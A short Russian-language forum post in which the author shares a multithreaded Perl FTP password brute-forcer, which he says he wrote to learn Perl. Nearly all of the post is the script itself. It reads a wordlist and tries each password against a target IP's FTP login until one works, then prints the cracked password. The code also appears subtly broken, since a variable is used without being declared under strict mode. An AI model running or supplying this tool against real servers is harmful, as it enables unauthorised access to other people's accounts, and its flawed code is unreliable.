Кароче я знаю что в инете полно таких брутеров. Я писал для освоения Perl'a
Брутер многопоточный
Код:
#!perl -w
use strict;
use Net::FTP; # if doesn't work use NET::FTP
use threads;
use threads::shared;
my @pass : shared;
my @trl;
my $ip = "$ARGV[0]";
my $login = "$ARGV[1]";
my $thr = $ARGV[2];
open (SRC, "$ARGV[3]") or die "Can't open:$!";
Next:
@pass = pass();
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $ok);
}
for(0..$thr)
{
$trl[$_]->join;
}
sub Brut
{
while (@pass)
{
my $pass = shift @pass;
print "Checking password : \t$pass\n";
my $ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
if ($ok) {
print "Pass for $ip is $pass\n";
exit;
}
}
}
goto Next;
sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
my $n = @mas;
if ($n == 0) {
print "Password not found\n";
exit;
} else {
return @mas;
}
}